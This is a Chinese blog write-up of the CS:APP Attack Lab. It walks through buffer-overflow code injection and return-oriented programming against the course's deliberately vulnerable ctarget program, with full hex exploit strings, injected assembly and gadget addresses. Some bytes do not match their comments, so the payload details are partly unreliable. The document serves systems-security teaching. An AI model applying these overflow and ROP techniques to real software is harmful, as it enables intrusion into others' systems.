CSAPP-Lab3-Attack
创始人
2025-05-29 11:32:07
0

实验主页

这是一个关于程序缓冲区溢出攻击的实验。在进行这个实验之前,请先阅读Writeup

这两个程序都是用 getbuf 函数来获取输入:

unsigned getbuf() {char buf[BUFFER_SIZE];Gets(buf);return 1;
}

PartⅠ:Code Injection Attacks

Phase1

在第一阶段,我们不需要注入任何代码,只需要将程序redirect到一个已经存在的函数即可

getbuf() 函数由 test() 函数调用:

void test() {int val;val = getbuf();printf("No exploit. Getbuf returned 0x%x\n", val);
}

我们要做的是:通过buffer overflow攻击,使得当程序从 getbuf() 中返回时,令其跳转到 touch1 函数,而非原来的 printf 语句:

void touch1() {vlevel = 1;printf("Touch1!: You called touch1()\n");validate(1);exit(0);
}

看一下test函数:

0000000000401968 :401968:	48 83 ec 08          	sub    $0x8,%rsp40196c:	b8 00 00 00 00       	mov    $0x0,%eax401971:	e8 32 fe ff ff       	call   4017a8 401976:	89 c2                	mov    %eax,%edx401978:	be 88 31 40 00       	mov    $0x403188,%esi40197d:	bf 01 00 00 00       	mov    $0x1,%edi401982:	b8 00 00 00 00       	mov    $0x0,%eax401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>40198c:	48 83 c4 08          	add    $0x8,%rsp401990:	c3                   	ret    

程序先将rsp减8后,调用了 getbuf 函数。看一下 getbuf 函数:

00000000004017a8 :4017a8:	48 83 ec 28          	sub    $0x28,%rsp4017ac:	48 89 e7             	mov    %rsp,%rdi4017af:	e8 8c 02 00 00       	call   401a40 4017b4:	b8 01 00 00 00       	mov    $0x1,%eax4017b9:	48 83 c4 28          	add    $0x28,%rsp4017bd:	c3                   	ret    4017be:	90                   	nop4017bf:	90                   	nop

我们画出执行 call 401a40 之前的栈状态:

在这里插入图片描述

RA1表示 test 的调用者的返回地址,我们并不关心

进入 getbuf 后,程序首先通过 sub $0x28,%rsp 在栈上开辟了40字节的空间,然后将这块空间的首地址作为参数传递给 Gets 函数:将读入的数据保存在这40个字节里

为了让 getbuf 返回到 touch1 中,我们只需修改test栈帧上的返回地址,将其原本的 0x401976 修改为 0x4017c0,也就是 touch1 函数的地址。

修改方式很简单,通过buffer overflow攻击即可:写入一段48字节的数据,其最后8个字节会“污染” test 栈帧上的返回地址,所以我们只需让最后8个字节的内容是 0x0000_0000_0040_17c0 即可:

于是我们创建一个文本文件 hex.in,写入如下内容:

31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
c0 17 40 00 00 00 00 00     /* touch1's address */

前40个字节无所谓,其作用就是填满buf。最后8个字节注意字节序,x86是小端,所以低位字节在前面

然后交给 hex2raw 工具将其转为二进制:

$ cat hex.in | ./hex2raw > hex.out

最后,将得到的二进制文件feed给目标程序即可:

$ ./ctarget -i hex.out -q

在这里插入图片描述
至此,我们就完成了phase1


Phase2

这个阶段需要我们通过输入字符串注入一小段代码

阅读实验要求,我们需要跳转到 touch2 函数:

void touch2(unsigned val) {vlevel = 2;if(val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val);validate(2);} else {printf(""Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);
}

跟上一个一样,我们需要修改返回地址让程序跳转到 touch2 函数。但是这里多了一个要求:我们必须传入一个参数val,使得程序执行if分支,所以我们需要在进入 touch2 之前插入这样一条指令 movq $0x59b997fa, %rdi

注意,实验要求中做了如下限制:

在这里插入图片描述

不允许我们使用 jmp 指令和 call 指令进行跳转,只能用 ret 指令进行跳转(理由是这些指令的编码很复杂)

在这里插入图片描述

为了进行代码注入,我们可以采用如下方法:

  • 0x5561dca0 处的返回地址修改为栈上的某一地址(buf),其中存放了我们需要注入的代码,关键是 movq $0x59b997fa, %rdi 指令
  • 将我们要注入的代码存入buf,注意字节序
  • 为了让程序跳转到 touch2 函数,我们可以将其地址压栈,然后执行 ret 指令

根据上述分析,我们需要注入的代码如下:

movq $0x59b997fa, %rdi
pushq $0x4017ec		#touch2的地址
ret

将其编译为机器码,再反汇编到文件:

$ gcc -c injection.s
$ objdump -d injection.o > injection.d

现在我们得到了需要注入的机器代码:

injection.o:     file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi7:	68 ec 17 40 00       	push   $0x4017ecc:	c3                   	ret

我们要注入的内容是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
48 c7 c7 fa 97 b9 59        /* mov    $0x59b997fa,%rdi */
68 ec 17 40 00              /* push   $0x4017ec */
c3                          /* ret */
00 00 00
90 dc 61 55 00 00 00 00

然后交给 hex2raw 工具将其转为二进制:

$ cat hex.in | ./hex2raw > hex.out

最后,将得到的二进制文件feed给目标程序即可:

$ ./ctarget -i hex.out -q

在这里插入图片描述
至此,我们完成了phase2

BUT,我刚开始做这个phase的时候,我打算注入的代码是:

movq $0x59b997fa, %rdi
movq $0x4017ec, (%rsp)
ret

因为我的想法是把参数传到 %rdi 后,修改此时栈顶的值为要跳转的地址,然后ret即可。但是这个方案行不通,程序会在 printf() 中抛出段错误,具体原因我也不太清楚


Phase3

这个实验与上一个类似,只是这时要传入的参数变成了一个字符串指针。程序中存在这两个函数:

int hexmatch(unsigned val, char* sval) {char cbuf[110];char* s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}void touch3(char* sval){vlevel = 3;if(hexmatch(cookie, sval)) {printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}

跟上一个一样,我们需要修改返回地址让程序跳转到 touch3 函数。但是这里我们需要传入的参数发生了变化:需要传入一个字符串指针,它的内容是:

"59b997fa"

所以我们需要将这个字符串注入栈空间中,然后让 %rdi 指向它,最后跳转到 touch3()

但是实验要求提醒我们注意:

在这里插入图片描述
有些函数调用会向栈中压入数据,所以我们注入的字符串可能被覆盖掉。我们需要小心地选择字符串的存储位置

我刚开始想把这个字符串尽可能向内存的低地址处存,因为栈指针在上面,所以离它越远,被覆盖的风险越小。但是最终结果证明这样做也不能保证字符串不被覆盖

那么就反过来,将字符串存入高地址,有多高呢?比栈指针还高。回想我们上面的栈状态:

在这里插入图片描述

存放返回地址的上一个4字空间,似乎没怎么用,而且这个地方是绝对安全的,不会被覆盖,所以我们选择将字符串存在这里。这时栈的状态应该是下面这样:

在这里插入图片描述

根据上述分析,我们需要注入的代码如下:

movq $0x5561dc78, %rdi
pushq $0x4018fa
ret

编译后,再反汇编:

0000000000000000 <.text>:0:	48 c7 c7 78 dc 61 55 	mov    $0x5561dc78,%rdi7:	68 fa 18 40 00       	push   $0x4018fac:	c3                   	ret    

我们需要注入的内容是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
48 c7 c7 a8 dc 61 55        /* mov    $0x5561dc78,%rdi */
68 fa 18 40 00              /* push   $0x4018fa */
c3                          /* ret */
00 00 00
00 00 00 00 00 00 00 00
88 dc 61 55 00 00 00 00     /* return address */
35 39 62 39 39 37 66 61     /* "59b997fa" */

注意到内容变多了,这是因为我们需要“污染”更多的内容:不仅要把返回地址“污染”进去,也要把字符串“污染”进去(虽然我们没有考虑结束的\0)

在这里插入图片描述
至此,我们完成了phase3


Part Ⅱ: Return Oriented Programming

这一部分比上一部分更难:

  • 引入了栈随机化机制,使得我们无法定位注入代码的地址
  • 栈上的内容不再有执行权限,如果PC指向了栈空间,程序会爆段错误

这里引入了一种新的攻击方法:通过执行现有代码,而不用注入代码

最具代表性的是 return-oriented-programming(ROP)

这种方法的策略是识别出现有程序的一些特定字节序列,这些字节序列构成了一条或多条指令(后面跟着ret指令)

这样的一段字节被称作gadget

在这里插入图片描述

如上图所示,栈空间上存储了一系列 gadget 的指针。每个 gadget 都是由一系列指令序列组成,最后跟着 ret 指令

一旦程序进入第一个 gadget,就会触发一系列连锁反应,使得每个 gadget 的内容都得到了执行

例如下面这段C程序:

void setval_210(unsigned *p) {*p = 3347663060U;
}

它只对应两条汇编指令:

400f15:		c7 07 d4 48 89 c7	movl $0xc78948d4, (%rdi)
400f1b:		c3					retq

查阅指令手册可知,这里面的字节序列 48 89 c7 正好是 movq %rax, %rdi 的指令编码

所以,如果我们让程序跳转到 400f18,就能够执行 movq %rax, %rdi这条指令,这虽然看起来微不足道,但是使用一系列的 gadget,我们就能达到特定的目的


Phase4

这部分重复了Phase2的内容,但是有如下要求:

  • 使用ROP方法进行攻击
  • 只允许使用程序中farm中的指令作为 gadget

分析一下这个问题:

  • 我们需要将 cookie 的值写入%rdi
  • 同时将touch2的位置作为返回地址

这些都需要我们编码进exploit string当中

一种思路是将cookie的值放在栈里,然后执行 popq %rdi。但是经过搜索,代码中并没有包含 popq %rdi 的 gadget 可供使用,我们需要中转一下:

popq %rax			# 58
movq %rax, %rdi		# 48 89 c7

这些二进制代码在程序中都有,而且很幸运的是他们的后面都跟着nop 指令,然后是 ret,这非常满足我们的需要:

00000000004019a7 :4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax4019ad:	c3                   	ret
...
00000000004019c3 :4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)4019c9:	c3                   	ret    

所以我们让栈呈现如下状态:

在这里插入图片描述

  • I1存放 popq %rax 的地址,查阅反汇编结果可知,为 0x4019ab
  • cookie存放的是cookie值,当程序从getbuf中返回时,%rsp 就指向了cookie,所以此时执行pop就能将cookie值保存到 %rax
  • I2存放的是 movq %rax, %rdi 的地址,当程序执行完 popq %rax; nop; ret 指令后,就会跳转到这条指令,于是我们就能将cookie值保存进 %rdi
  • touch2保存的touch2的入口地址,当程序执行完movq %rax, %rdi; nop; ret 指令后,就会跳转到touch2执行,达到了我们的目的

所以我们需要注入的内容为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00ab 19 40 00 00 00 00 00
fa 97 b9 5a 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

执行完getbuf后,函数栈帧如下所示,符合我们的设计:

在这里插入图片描述

至此,我们完成了phase4:

在这里插入图片描述


Phase5

Phase5是重复Phase3的内容:输入参数是一个字符串。但是使用的是ROP方法

听从实验指导,不做了哈哈哈哈哈(尝试了一下,难度很大,比较花时间)

在这里插入图片描述

原理和上一个是一样的,但是需要凑的指令更多,更复杂

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
一帆风顺二龙腾飞三阳开泰祝福语... 本篇文章极速百科给大家谈谈一帆风顺二龙腾飞三阳开泰祝福语,以及一帆风顺二龙腾飞三阳开泰祝福语结婚对应...
美团联名卡审核成功待激活(美团... 今天百科达人给各位分享美团联名卡审核成功待激活的知识,其中也会对美团联名卡审核未通过进行解释,如果能...